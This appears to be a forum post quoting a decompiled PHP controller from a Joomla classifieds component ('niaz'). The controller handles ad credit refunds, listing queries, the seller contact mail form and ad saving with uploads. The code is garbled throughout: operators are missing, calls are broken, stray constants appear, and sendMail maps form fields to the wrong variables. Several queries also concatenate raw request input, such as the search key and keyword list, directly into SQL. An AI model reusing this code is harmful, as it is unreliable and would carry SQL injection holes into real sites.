کد PHP:
<?php


    
if (!( defined'_JEXEC' ))) {
        exit( 
'Restricted access' );
        (bool)
true;
    }


    
jimport'joomla.application.component.controller' );
    class 
NiazController extends JController {
        function 
__construct() {
            
parent::(  );
        }


        function 
ReBackCredit() {
            global 
$my;


            
$PID JRequest::getvar'ix'0'POST' );
            
$PID intvalbase64_decode$PID ) );
            
$db JFactory::getdbo(  );
            
$query 'SELECT * FROM #__niaz_usecredit WHERE fldUID=' $my->id ' AND fldPID = ' $PID;
            
$db->setQuery$query );
            
$row $db->loadObject(  );
            
$total 472;


            if (
count$row )) {
                
$query 'DELETE FROM #__niaz_usecredit WHERE fldUID=' $my->id ' AND fldPID = ' $PID;
                
$db->setQuery$query );
                
$db->Query(  );
                
$query 'SELECT fldMoney FROM #__niaz_prod WHERE fldOwner=' $my->id ' AND fldID = ' $PID;
                
$db->setQuery$query );
                
$fldMoney $db->loadResult(  );
                
$query 'SELECT fldID FROM #__niaz_credit_users WHERE fldUID=' $my->id;
                
$query self::cleansql$query );
                
$db->setQuery$query );
                
$total = ($fldMoney $db->loadResult(  ) : 0);
                
$fldMoney Comma$fldMoney );
            }




            if (
intval$total )) {
                
$query 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' $row->fldTafavot ',fldTafavot=fldTafavot-' $row->fldTafavot ' WHERE fldUID=' $my->id;
                
$db->setQuery$query );
                
$db->Query(  );
                
$query 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' $my->id ' AND fldID = ' $PID;
                
$db->setQuery$query );
                
$db->Query(  );
                echo 
'0#' $fldMoney '#' JText::_'NIAZ_UPDATE_COMPLETED' );
                return 
null;
            }


            
$query 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' $my->id ' AND fldID = ' $PID;
            
$db->setQuery$query );
            
$db->Query(  );
            echo 
'0#' $fldMoney '#' JText::_'NIAZ_UPDATE_ERROR' );
        }


        function 
WhereCluse($view) {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$Align;
            global 
$RTL;
            global 
$app;
            global 
$niaz_config;
            global 
$DLANG;
            global 
$AU;


            
$db JFactory::getdbo(  );
            
$limit JRequest::getvar'limit'$app->getCfg'list_limit' ) );
            
$limitstart JRequest::getvar'limitstart');
            
$catid JRequest::getint'catid' );
            
$subcatid JRequest::getint'subcatid' );
            
$CountryNo = (int)JRequest::getvar'CountryNo');
            
$StateNo = (int)JRequest::getvar'StateNo');
            
$Type JRequest::getvar'Type');
            
$key JRequest::getvar'key' );
            
$id JRequest::getvar'id');
            
$layout JRequest::getvar'layout'NULL );
            
$fldUID JRequest::getvar'fldUID');
            
$key urldecodeJRequest::getvar'key''' ) );
            
$A = array(  );
            
$where '';
            switch (
$view) {
                case 
'myads': {
                    
$A[] = 'fldOwner=' $my->id;
                    break;
                }


                default: {
                    if (!empty( 
$key )) {
                        
$query 'SELECT fldID FROM #__niaz_key WHERE fldKey=\'' $key '\' AND published = 1';
                        
$db->setQuery$query );
                        
$Keys $db->loadResultArray(  );


                        if (!
count$Keys )) {
                            
$Keys[] = 0;
                        }




                        if (!isset( 
$_SESSION[$key] )) {
                            
$query 'UPDATE #__niaz_key SET fldView=fldView+1 WHERE fldKey=\'' $key '\'';
                            
$db->setQuery$query );
                            
$db->Query(  );
                            
$_SESSION[$key] = 1;
                        }


                        
$query 'SELECT fldPID FROM #__niaz_key_index WHERE fldKID IN(' implode','$Keys ) . ') ';
                        
$db->setQuery$query );
                        
$KeyArray $db->loadResultArray(  );


                        if (
count$KeyArray )) {
                            
$A[] = 'fldID IN (' implode','$KeyArray ) . ')';
                        }
                    }


                    
$A[] = 'published=1';
                }
            }




            if (
$catid) {
                
$A[] = 'parent_id=' $catid;
            }




            if (
$subcatid) {
                
$A[] = 'fldRelation=' $subcatid;
            }


            
$K implode' AND '$A );


            if (
$K) {
                
$where ' WHERE (' $K ')';
            }


            
$where self::cleansql$where );
            return 
$where;
        }


        function 
LoadSQL($table$where$fields '') {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$Align;
            global 
$RTL;
            global 
$app;
            global 
$mainframe;
            global 
$AU;
            global 
$niaz_config;


            
$db JFactory::getdbo(  );
            
$limit JRequest::getint'limit'$niaz_config->fldNShow );
            
$view JRequest::getvar'view''niaz' );
            
$limitstart JRequest::getint'limitstart' );
            
$ordering 'fldID DESC';
            
$catid JRequest::getint'catid' );
            
$subcatid JRequest::getint'subcatid' );
            
$table2 $table;


            if (( 
$view  'niaz' || $view  '' )) {
                
$query 'SELECT fldID FROM #__niaz_cat WHERE published=1 ' . ($catid ' AND fldID = ' $catid '');
                
$db->setQuery$query );
                
$CatArray $db->loadResultArray(  );
                
$CatArray[] = 0;
                
$query 'SELECT fldID FROM #__niaz_subcat WHERE published=1 AND fldRelation IN (' implode','$CatArray ) . ') ' . ($subcatid ' AND fldID = ' $subcatid '');
                
$db->setQuery$query );
                
$SubCatArray $db->loadResultArray(  );
                
$SubCatArray[] = 0;
                
$where &= (strlen$where ) ? ' AND fldRelation IN (' implode','$SubCatArray ) . ')' 'WHERE fldRelation IN (' implode','$SubCatArray ) . ')');
            }


            switch (
$table) {
                case 
'prod': {
                    
$ordering 'fldStartTime DESC';
                    
$orderingX '';
                    switch (
$view) {
                        case 
'myads': {
                            
$fields '*';
                            break;
                        }


                        case 
'pay': {
                            
$fields '`fldID`,`published`,`fldTafavot`,`fldPay`,`fldMoney`,`fldStartTime`,`fldPayMethod`,`fldOrderNumber`,`fldPName`,`fldImage`,`fldOwner`' . (strlen$fields ) ? $fields '');
                            break;
                        }


                        default: {
                            
$fields '`fldID`,`parent_id`,`fldRelation`,`fldDate`,`fldShowLink`,`fldMoney`,`fldStar`,`fldVije`,`fldPage`,`fldPName`,`fldImage`,TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay > 0 AS ExpDate,(fldStar+fldPage+fldVije) AS OA';
                            
$orderingX 'OA DESC,fldStar';
                            
$ordering '';
                            
$orderingX = (strlen$niaz_config->fldField55 ) ? str_replace( array( ':''*' ), array( ' '',' ), $niaz_config->fldField55 ) : $orderingX);
                        }
                    }


                    
$ordering '' $orderingX ' ' $ordering;


                    if (
$view  'myads') {
                        
$ordering 'fldID DESC';
                    } 
else {
                        
$where &= (intval$niaz_config->fldField30 ) ? '' ' AND TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay < 0 ');
                    }


                    break;
                }


                case 
'rss': {
                    
$table2 'prod';
                }
            }


            
$query 'SELECT COUNT(*) FROM #__niaz_' $table ' ' $where;
            
$db->setQuery$query );
            
$total $db->loadResult(  );
            
$limitx '
 LIMIT ' 
$limitstart ', ' $limit;
            
jimport'joomla.html.pagination' );
            
$pageNav = new JPagination$total$limitstart$limit );
            
$query 'SELECT ' $fields ' FROM #__niaz_' $table ' ' $where ' ' . ( '
 ORDER BY ' 
$ordering ) . $limitx;
            
$db->setQuery$query );
            
$rows $db->loadObjectList(  );
            return array( 
$rows$pageNav );
        }


        function 
LoadMySQL($table$where) {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$Align;
            global 
$RTL;
            global 
$app;
            global 
$mainframe;
            global 
$AU;
            global 
$niaz_config;


            
$db JFactory::getdbo(  );
            
$query 'SELECT * FROM #__niaz_' $table ' WHERE ' $where ' ';
            
$db->setQuery$query );
            
$rows $db->loadObjectList(  );
            return 
$rows;
        }


        function 
LoadMiniAds($rows) {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$niaz_config;


            
$C = array(  );
            echo 
'    <div width="100%"  class="border">
        '
;
            
$j 480;
            
$i 480;
            
$n count$rows );


            while (
$i $n) {
                
$row $rows[$i];


                if (( ( ( 
intval$niaz_config->fldField48 ) && intval$niaz_config->fldField30 ) ) && $row->ExpDate ) && ( ( ( ( $row->fldMoney || $row->fldShowLink ) || $row->fldStar ) || $row->fldVije ) || $row->fldPage ) )) {
                    
$ExpDate[] = $row->fldID;
                }


                
$_SESSION['CID'][] = $row->fldID;
                
$C[] = $row->fldID;
                echo 
'                <div class="banner">
                <a href="'
;
                echo 
JRoute::_'index.php?option=' $option '&view=detail&id=' $row->fldID ':' $row->fldPName );
                echo 
'" class="title">
                                    '
;


                if (
'' $row->fldImage) {
                    
$fldImage explode','$row->fldImage );
                    
$A rand1count$fldImage ) );
                    
$fldImage $fldImage[$A 1];
                    echo 
'                  <img src="components/';
                    echo 
$option;
                    echo 
'/files/prod/';
                    echo 
'' $row->fldDate '/' $row->fldID;
                    echo 
'/tmb_';
                    echo 
$fldImage;
                    echo 
'" title="';
                    echo 
$rows[$i]->fldPName;
                    echo 
'" alt="';
                    echo 
$rows[$i]->fldPName;
                    echo 
'" class="tniypic">
                  '
;
                } 
else {
                    echo 
'                  <img src="components/';
                    echo 
$option;
                    echo 
'/images/tmb_pic.png"  alt="';
                    echo 
$rows[$i]->fldPName;
                    echo 
'" title="';
                    echo 
$rows[$i]->fldPName;
                    echo 
'" class="tniypic">
                  '
;
                }


                echo 
'                            
                <img border="0" src="'
;
                echo 
'components/' $option '/images/star_' $row->fldStar '.gif';
                echo 
'" />
                 <br/>'
;
                echo 
'<s';
                echo 
'pan>';
                echo 
$row->fldPName;
                echo 
'</span></a>
                </div>
        '
;
                ++
$i;
            }


            echo 
'        </div>
    '
;
            
viewCounts$C );


            if (isset( 
$ExpDate )) {
                
self::updateexpdate$ExpDate );
            }


        }


        function 
UpdateExpDate($ids) {
            
$db JFactory::getdbo(  );
            
$ExpDate implode','$ids );
            
$query 'UPDATE #__niaz_prod SET `fldMoney`=0, `fldShowLink`=0, `fldStar`=0, `fldVije`=0, `fldPage`=0 WHERE fldID IN (' $ExpDate ')';
            
$db->setQuery$query );
            
$db->Query(  );
        }


        function 
LoadConfig() {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$niaz_config;
            global 
$Cat;
            global 
$SubCat;
            global 
$SubCatAll;


            
$db JFactory::getdbo(  );


            if (
count$niaz_config )) {
                return 
true;
            }


            echo 
'<div class="message">' JText::_'NIAZ_ERROR_CONFIG' ) . '</div>';
            return 
false;
        }


        function 
showMail($aid) {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$option;
            global 
$mainframe;
            global 
$app;
            global 
$niaz_config;
            global 
$mainframe;


            
$db JFactory::getdbo(  );
            
$query 'SELECT * FROM #__niaz_prod ' . ( '
 WHERE fldID = ' 
$aid );
            
$db->setQuery$query );
            
$rowsa $db->loadObject(  );
            
$email $rowsa->fldEMAil;
            
$uid $rowsa->fldOwner;
            
$query 'SELECT * FROM #__users ' . ( '
 WHERE id = ' 
$uid );
            
$db->setQuery$query );
            
$rows $db->loadObject(  );


            if (
count$rowsa )) {
                if (
$rowsa->fldEMAil) {
                    
self::showmails$rows$rowsa );
                    return 
null;
                }


                echo 
'<p><a href="javascript:history.back(1)">' JText::_'NIAZ_NONE_EMAIL' ) . '</a></p>';
                return 
null;
            }


            echo 
'<p><a href="javascript:history.back(1)">' JText::_'NIAZ_BACK' ) . '</a></p>';
        }


        function 
showMails($rows$rowsa) {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$option;
            global 
$mainframe;
            global 
$app;
            global 
$niaz_config;
            global 
$mainframe;


            
$db JFactory::getdbo(  );


            if (
$niaz_config->fldField20  2) {
                
$A['css'] = 'slider.css';
                
$A['js'] = 'slider.js';
                foreach (
$A as $k => $v) {
                    
NiazController::loaduserstyle$k$v );
                }
            }




            if (
intval$niaz_config->fldField19 )) {
                
$i2 578;
            }


            
$i2 578;
            echo 
'        ';
            echo 
'<s';
            echo 
'cript language="javascript">
        function checkMail(x){
      var filter  = /^([a-zA-Z0-9_\.\-]{5,10})+\@(([a-zA-Z0-9\-]{3,5})+\.)+([a-zA-Z0-9]{2,4})+$/;
      if (filter.test(x)) 
      return 0;
      else 
      return 1;
  }        
        //=======================================================================
        function validAdsMessage(){
        var form = document.EForm;
            '
;


            if (
$niaz_config->fldField20) {
                echo 
'            if(document.getElementById(\'sec_key\').value==""){
                alert("'
;
                echo 
JText::_'ALERT_SEC_CODE' );
                echo 
'");
                return false;
            }
            else
            '
;
            }


            echo 
'            if(form.Name.value==\'\')
            {
            alert(\''
;
            echo 
JText::_'NIAZ_YOUR_NAME' );
            echo 
'\');
            form.Name.focus();
            return;
            }
            else
            if((form.Email.value==\'\')||(checkMail(form.Email.value)))
            {
            alert(\''
;
            echo 
JText::_'NIAZ_EMAIL' );
            echo 
'\');
            form.Email.focus();
            return;
            }
            else
            if(form.Subject.value==\'\')
            {
            alert(\''
;
            echo 
JText::_'NIAZ_SUBJECT' );
            echo 
'\');
            form.Subject.focus();
            return;
            }
            else
            if(form.Message.value==\'\')
            {
            alert(\''
;
            echo 
JText::_'NIAZ_MESSAGE' );
            echo 
'\');
            form.Message.focus();
            return;
            }
            else
            form.submit();
        }
        //=======================================================================
        </script>
        <div class="adminform">
        <form action="'
;
            echo 
$_SERVER['REQUEST_URI'];
            echo 
'" method="post" name="EForm">
        <h3>'
;
            echo 
JText::_'NIAZ_ADS_CONTACT' );


            if (isset( 
$rows )) {
                echo 
' : <a href="';
                echo 
JRoute::_'index.php?option=com_userprofile&view=userprofile&id=' $rows->id ':' $rows->username '&Itemid=116' );
                echo 
'">';
                echo 
$rows->name;
                echo 
'</a>';
            }


            echo 
'</h3>
        <div class="alert" style="height:25px; line-height:25px; padding-right:10px; color:#FF0000">'
;
            echo 
JText::_'NIAZ_REQUIERD' );
            echo 
'</div>
         <div class="row2">'
;
            echo 
JText::_'NIAZ_RECIVER' );
            echo 
' : ';
            echo (isset( 
$rows ) ? $rows->name $rowsa->fldPName);
            echo 
'</div>
        
        <div class="row"><label>'
;
            echo 
JText::_'NIAZ_YOUR_NAME' );
            echo 
'</label><input size="35" name="Name" ></div> 
        <div class="row"><label>'
;
            echo 
JText::_'NIAZ_COUNTRY' );
            echo 
'</label><input size="35" name="Country" ></div>
        <div class="row"><label>'
;
            echo 
JText::_'NIAZ_EDU' );
            echo 
'</label><input size="35" name="Edu" ></div>
        <div class="row"><label>'
;
            echo 
JText::_'NIAZ_JOB' );
            echo 
'</label><input size="35" name="Job" ></div>
        <div class="row"><label>'
;
            echo 
JText::_'NIAZ_EMAIL' );
            echo 
'</label><input  size="35" name="Email" dir="ltr"></div>
        <div class="row"><label>'
;
            echo 
JText::_'NIAZ_SUBJECT' );
            echo 
'</label><input size="35" name="Subject"  value="';
            echo 
JText::_'NIAZ_DEFUALT_SUBJECT' );
            echo 
' ';
            echo 
$rowsa->fldPName;
            echo 
'"></div>
        <div class="row"><label>'
;
            echo 
JText::_'NIAZ_MESSAGE' );
            echo 
'</label><textarea name="Message" class="NewTable" rows="10"></textarea></div>
        '
;


            if (
intval$niaz_config->fldField20 )) {
                echo 
'        <div class="row">
        '
;


                if (
intval$niaz_config->fldField20 )  = 1) {
                    echo 
'        <label>';
                    echo 
JText::_'NIAZ_IMAGE_SECURITY' );
                    echo 
'</label>
            <input type="text" class="myinputbox" name="sec_key" id="sec_key" size="5" autocomplete="off" />
            <img src="'
;
                    echo 
JURI::root(  );
                    echo 
'components/';
                    echo 
$option;
                    echo 
'/images/reload.png" style="cursor:pointer" onclick="LoadCaptcha();" />
            <img src="'
;
                    echo 
JURI::root(  );
                    echo 
'index.php?option=';
                    echo 
$option;
                    echo 
'&task=captcha&no_html=1" id="imgCaptcha" style="margin-top:3px;" />
        
        '
;
                } 
else {
                    
$captcha time(  );
                    
$_SESSION['captcha'] = $captcha;
                    echo 
'            <div id="ads-slider" class="dragdealer rounded-cornered w90">
                <div class="red-bar handle" id="roleowerADS">&lt;&lt; '
;
                    echo 
JText::_'NIAZ_SEC_ALERT' );
                    echo 
' </div>
            </div>
            <input type="hidden" name="sec_key" id="sec_key" />
            '
;
                    echo 
'<s';
                    echo 
'cript language="javascript">
                var MyAlaki = \''
;
                    echo 
$captcha;
                    echo 
'\';
                var OkAlert = \''
;
                    echo 
JText::_'NIAZ_SEC_OK' );
                    echo 
'\';
            </script>
        '
;
                }


                echo 
'        </div>
        '
;
            }


            echo 
'        <input type="hidden" name="To" value="';
            echo 
$rowsa->fldEMAil;
            echo 
'" />
        <input type="hidden" name="option" value="'
;
            echo 
$option;
            echo 
'"  >
        <input type="hidden" name="task" value="sendMail"  >
        <input type="hidden" name="mag" value="'
;
            echo 
JText::_'NIAZ_A_ADS' );
            echo 
' ';
            echo 
$rowsa->fldPName;
            echo 
'" >
        <input type="button" value="'
;
            echo 
JText::_'NIAZ_SEND_MAIL' );
            echo 
'" name="Submit" onclick="validAdsMessage();" class="button" style="margin-top:5px;">
        </form>    
        </div>
'
;
            echo 
'<s';
            echo 
'cript language="javascript">
        '
;


            if (
$niaz_config->fldField20  2) {
                echo 
'        new Dragdealer(\'ads-slider\');
        '
;
            }


            echo 
'</script>
    '
;
        }


        function 
sendMail() {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$option;
            global 
$mainframe;
            global 
$app;
            global 
$niaz_config;
            global 
$mainframe;
            global 
$mosconfig_live_site;


            
$db JFactory::getdbo(  );
            
$MailFrom $app->getCfg'mailfrom' );
            
$FromName $app->getCfg'fromname' );
            
$SiteName $app->getCfg'sitename' );


            if (
intval$niaz_config->fldField20 )) {
                
$sec_key JRequest::getvar'sec_key' );


                if (
$sec_key != $_SESSION['captcha']) {
                    
$this->setMessageJText::_'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
                    
$this->setRedirect$_SERVER['HTTP_REFERER'] );
                    return 
false;
                }
            }


            
$Email $Subject $Message = ;
            
$Job JRequest::getvar'Message''''POST' );
            
$Edu JRequest::getvar'Subject''''POST' );
            
$Country JRequest::getvar'Email''''POST' );
            
$Name JRequest::getvar'Job''''POST' );
            
$mag JRequest::getvar'Edu''''POST' );
            
JRequest::getvar'To''''POST' );
            
$To JRequest::getvar'Country''''POST' );
            
JRequest::getvar'si''X''POST' );
            
$si JRequest::getvar'Name''''POST' );
            
JRequest::getvar'siu''Y''POST' );
            
$siu JRequest::getvar'mag''''POST' );


            if (
$mag) {
                
$mag JText::_'ADS_TO_ADMIN' ) . ' ' $mag;
            } 
else {
                
$mag JText::_'ADS_TO_USER' ) . ( ' ' $SiteName );
            }


            
$body $Name . ( ' <' $Email '>
    ' 
) . JText::_'NIAZ_JOB' ) . ' : ' $Job '
    ' 
JText::_'NIAZ_EDU' ) . ' : ' $Edu . ( '
    
    ' 
$mag '
    
    ' 
) . $Message '
    ' 
'
    . ' 
JText::_'NIAZ_SENT' ) . ( ' ' $mosconfig_live_site ' ' ) . JText::_'NIAZ_BY_OUR_SITE' ) . ( ' ' $SiteName ' ' ) . JText::_'NIAZ_TO_ADD' ) . ( 
    <' 
$FromName '>' $MailFrom );
            
$M JUTility::sendmail$MailFrom$FromName$To$Subject$body0NULLNULLNULL );


            if (
is_object$M )) {
                
$M 577;
            }




            if (
$M) {
                
JText::_'NIAZ_SENT_SUCCESS' );
                
$msg = ;
            } 
else {
                
$msg '';
            }


            
$this->setMessage$msg );
            
$this->setRedirect$_SERVER['REQUEST_URI'] );
            return 
true;
        }


        function 
CheckAccess() {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$niaz_config;
            global 
$option;
            global 
$RTL;


            if (
$my->id  0) {
                
$uri JFactory::geturi(  );
                
$return $uri->toString(  );
                
$url 'index.php?option=com_users&view=login';
                
$url &= '&return=' base64_encode$return );
                
$app JFactory::getapplication(  );
                
$app->redirectJRoute::_$url ), JText::_'You must login first' ) );
            }


        }


        function 
saveprod($task 'save') {
            global 
$option;
            global 
$my;
            global 
$sectionState;
            global 
$fldCountry;
            global 
$niaz_config;
            global 
$option;
            global 
$RTL;


            
$db JFactory::getdbo(  );


            if (
$niaz_config->fldUType  0) {
                
NiazController::checkaccess(  );
            }




            if (!
intval$niaz_config->fldField42 )) {
                
$niaz_config->fldField42 10;
            }




            if (!
intval$niaz_config->fldField56 )) {
                
$niaz_config->fldField56 2;
            }


            
$ShortDescX JRequest::getvar'ShortDesc', array(  ), 'POST' );
            
$ShortDesc = array(  );
            foreach (
$ShortDescX as $k => $v) {


                if (( 
$k $niaz_config->fldField42 && strlentrim$v ) ) )) {
                    
$vx explode' '$v );


                    if (
intval$niaz_config->fldField56 ) < count$vx )) {
                        
$v array_slice$vx0$niaz_config->fldField56 );
                        
$v implode' '$v );
                    }


                    
$ShortDesc[] = $v;
                    continue;
                }
            }


            
$ShortDesc array_unique$ShortDesc );
            
JRequest::setvar'fldShort'implode','$ShortDesc ) );
            
JRequest::setvar'fldEXPMail');


            if (
count$ShortDesc )) {
                foreach (
$ShortDesc as $v) {
                    
$query 'INSERT INTO #__niaz_key (`fldKey`) VALUES (\'' $v '\');';
                    
$db->setQuery$query );
                    
$db->Query(  );
                }
            }


            
$id JRequest::getint'fldID'0'POST' );
            
$PName JRequest::getvar'fldPName''''POST' );
            
$X self::isuniquename$PName$id );


            if (
$X) {
                
$this->setMessageJText::_'ALERT_DUPLICATE_NAME' ), 'error' );
                
$this->setRedirect$_SERVER['HTTP_REFERER'] );
                return 
false;
            }




            if (
intval$niaz_config->fldField20 )) {
                
$sec_key JRequest::getvar'sec_key' );


                if (
$sec_key != $_SESSION['captcha']) {
                    
$this->setMessageJText::_'NIAZ_IMAGE_SECURITY_FAIL' ), 'error' );
                    
$this->setRedirect$_SERVER['HTTP_REFERER'] );
                    return 
false;
                }
            }


            require_once( 
JPATH_SITE DS 'administrator' DS 'components' DS $option DS 'tables' DS 'prod.php' );
            
$FType = array(  );


            if (
strlen$niaz_config->fldField45 )) {
                
$U explode'*'$niaz_config->fldField45 );
                
$X = array(  );
                foreach (
$U as $k => $v) {
                    
$D explode':'$v );
                    
$X[] = $D[0];
                    
$FType['fldFilmsize'][$D[0]] = $D[1];
                }


                
$FType['fldFilm'] = $X;
            }




            if (
strlen$niaz_config->fldField44 )) {
                
$U explode'*'$niaz_config->fldField44 );
                
$X = array(  );
                foreach (
$U as $k => $v) {
                    
$D explode':'$v );
                    
$X[] = $D[0];
                    
$FType['fldImagesize'][$D[0]] = $D[1];
                }


                
$FType['fldImage'] = $X;
            }


            
$File = array(  );
            
$B = array(  );
            
$msg '';
            
$table 'prod';
            
$fldStat JRequest::getvar'fldStat' );
            
$row = new NiazTableProd$db );
            
$row->load$id );


            if (
$fldStat) {
                
$_POST['fldStat'] = 0;
            }


            
$fldDate = ($id $row->fldDate date'Y-m-d' ));
            
$_POST['fldDate'] = $fldDate;
            
$_POST['fldOwner'] = $my->id;


            if (
intval$niaz_config->fldField32 )  = 0) {
                
$_POST['fldDesc'] = strip_tags$_POST['fldDesc'] );


                if (
$niaz_config->fldField43) {
                    
$fldDesc explode' '$_POST['fldDesc'] );
                    
$fldDesc array_slice$fldDesc0$niaz_config->fldField43 );
                    
$_POST['fldDesc'] = implode' '$fldDesc );
                }
            }


            
$FT = array(  );
            
$query 'SHOW FULL COLUMNS FROM #__niaz_prod';
            
$db->setQuery$query );
            
$Cols $db->loadObjectList(  );
            
$i 2099;
            foreach (
$Cols as $h) {


                if (
substr$h->Field0)  = 'fldExtra') {
                    if (
$h->Type  'text') {
                        
$FT[] = $h->Field;
                        ++
$i;
                        continue;
                    }


                    continue;
                }
            }


            foreach (
$FT as $v) {


                if (
intval$niaz_config->fldField32 )  = 0) {
                    
JRequest::setvar$vstrip_tags$_POST[$v] ), 'POST' );


                    if (
$niaz_config->fldField43) {
                        
$fldDesc explode' '$_POST[$v] );
                        
$fldDesc array_slice$fldDesc0$niaz_config->fldField43 );
                        
JRequest::setvar$vimplode' '$fldDesc ), 'POST' );
                        continue;
                    }


                    continue;
                }
            }


            
$DELPIC = ($my->id JRequest::getvar'DELPIC', array(  ) ) : array(  ));
            
$maindestfolder JPATH_COMPONENT_SITE DS 'files' DS . ( '' $table ) . DS . ( '' $fldDate );
            
$destfolder $maindestfolder DS . ( '' $id );
            
$Err 2099;
            foreach (
$_FILES as $k => $v) {
                foreach (
$v as $k1 => $v1) {


                    if (
$k1  'name') {
                        foreach (
$v1 as $k2 => $v2) {


                            if (
strlen$v2 )) {
                                
$v2 strtolower$v2 );
                                
$s explode'.'$v2 );
                                
$se $s[count$s ) - 1];


                                if (( !
in_array$se$FType[$k] ) || ( $FType[$k 'size'][$se] && $FType[$k 'size'][$se] < intval$v['size'][$k2] \ 1024 ) ) )) {
                                    
$Err 2100;
                                }


                                
$File[$k][] = $v2;
                                continue;
                            }
                        }


                        continue;
                    }
                }
            }




            if (( ( ( 
$niaz_config->fldField29 && strlen$niaz_config->fldField44 ) ) && !isset( $File['fldImage'] ) ) && !strlen$row->fldImage ) )) {
                
$Err 2101;
            }




            if (
$Err) {
                
$this->setMessage( ($Err  JText::_'ERROR_UPLOAD_FILE' ) : JText::_'ERROR_EMPTY_FILE' )), 'error' );
                
$this->setRedirect$_SERVER['HTTP_REFERER'] );
                return 
false;
            }




            if (
count$DELPIC )) {
                foreach (
$DELPIC as $k => $v) {


                    if (
strlen$row->$k )) {
                        
$A explode','$row->$k );
                        
$B $DELPIC[$k];
                        
$C = array(  );
                        
$i 2099;


                        while (
$i count$B )) {
                            if (
file_exists'' $destfolder '/' $B[$i] )) {
                                
JFile::delete'' $destfolder '/' $B[$i] );
                            }




                            if (
file_exists'' $destfolder '/tmb_' $B[$i] )) {
                                
JFile::delete'' $destfolder '/tmb_' $B[$i] );
                            }




                            if (
in_array$B[$i], $A )) {
                                
$U array_keys$A$B[$i] );
                                
$A[$U[0]] = NULL;
                            }


                            ++
$i;
                        }


                        
arsort$A );
                        
$i 2099;
                        
$n count$B );


                        while (
$i $n) {
                            
array_pop$A );
                            ++
$i;
                        }


                        
$_POST[$k] = (count$A ) ? implode','$A ) : '');
                        
$row->$k = (count$A ) ? implode','$A ) : '');
                        continue;
                    }
                }


                
$msg &= JText::sprintf'MYPN_FILE_DELETE'count$B ) );
            }


            
$A = array(  );
            
$NFile = array(  );
            foreach (
$File as $k => $v) {
                
$A[$k] = $v;
            }




            if (
count$A )) {
                
$C2 2099;
                foreach (
$A as $k => $v) {
                    
$B1 self::savefile$fldDate$k$table$id );
                    
$B1 explode','$B1 );
                    
$NFile[$k] = $B1;
                    
$C2 += count$B1 );
                    
$_POST[$k] = ($id ? (strlen$row->$k ) ? $row->$k ',' '') . implode','$B1 ) : implode','$B1 ));


                    if (!
$id) {
                        
$FArray[$k] = implode','$B1 );
                        continue;
                    }
                }


                
$msg &= JText::sprintf'MYPN_FILE_ADDED'$C2 );
            }




            if (!isset( 
$_POST['fldImage'] )) {
                
$_POST['fldImage'] = $row->fldImage;
            }




            if (!isset( 
$_POST['fldFilm'] )) {
                
$_POST['fldFilm'] = $row->fldFilm;
            }


            
$_POST['fldEdit'] = ($id $row->fldEdit 0);
            
self::calculateform$_POST );
            
$_POST['fldPay'] = 0;


            if (( 
$niaz_config->fldField25  && !$_POST['fldPay'] )) {
                
$_POST['published'] = 1;
            }




            if (( ( 
$my->id && intval$niaz_config->fldField2 ) ) && !intval$_POST['fldMoney'] ) )) {
                
$query 'SELECT COUNT(fldMoney) FROM #__niaz_prod WHERE fldOwner=' $my->id ' AND fldMoney=0 AND fldID!=' $_POST['fldID'];
                
$db->setQuery$query );
                
$total $db->loadResult(  );


                if (
intval$niaz_config->fldField2 ) <= $total) {
                    
$this->setMessageJText::sprintf'ALERT_OUT_REGISTER_ADS'intval$niaz_config->fldField2 ), $total ) );
                    
$this->setRedirectJRoute::_'index.php?option=' $option '&view=myads' ) );
                    return 
true;
                }
            }


            foreach (
$_POST as $k => $v) {
                
$_POST[$k] = self::myquestfarsi$v );
            }




            if (( !
$row->published && $row->fldPay  )) {
                
$fldTafavot $row->fldMoney;
                
$_POST['fldTafavot'] = 0;
                
$_POST['fldPay'] = 0;
                
$_POST['fldPayDate'] = NULL;
                
$_POST['fldPayMethod'] = '';
                
$_POST['fldOrderNumber'] = '';
                
$query 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' $fldTafavot ',' $row->fldOwner ');';
                
$db->setQuery$query );


                if (!
$db->Query(  )) {
                    
$query 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' $fldTafavot ' WHERE fldUID = ' $row->fldOwner ';';
                    
$db->setQuery$query );


                    if (
$db->Query(  )) {
                    }


                    
$query 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - (' $fldTafavot ') WHERE fldUID = ' $row->fldOwner ' AND fldTafavot >=' $fldTafavot ';';
                    
$db->setQuery$query );


                    if (
$db->Query(  )) {
                    }
                }


                
$query 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' $fldTafavot ' AND fldPID = ' $row->fldID ' AND fldUID=' $row->fldOwner ';';
                
$db->setQuery$query );


                if (
$db->Query(  )) {
                }


                
$query 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' $row->fldPName '\' AND fldPayMethod = \'' $row->fldPayMethod '\' AND fldOrderNumber = \'' $row->fldOrderNumber '\';';
                
$db->setQuery$query );
                
$fldFactor intval$db->loadResult(  ) );
                
$fldDesc JText::sprintf'REVERSE_CREDIT_1'$_POST['fldPName'] );
                
$query 'INSERT INTO #__niaz_payment VALUES(0,' $row->fldID ',\'' $row->fldPName '\',\'return\',\'\',-' $fldTafavot ',0,' $row->fldOwner ',\'' $fldDesc '\',NOW(),' $fldFactor ');';
                
$db->setQuery$query );


                if (
$db->Query(  )) {
                }
            } 
else {
                if (( ( !
$row->published && !$row->fldPay ) && $row->fldTafavot )) {
                    
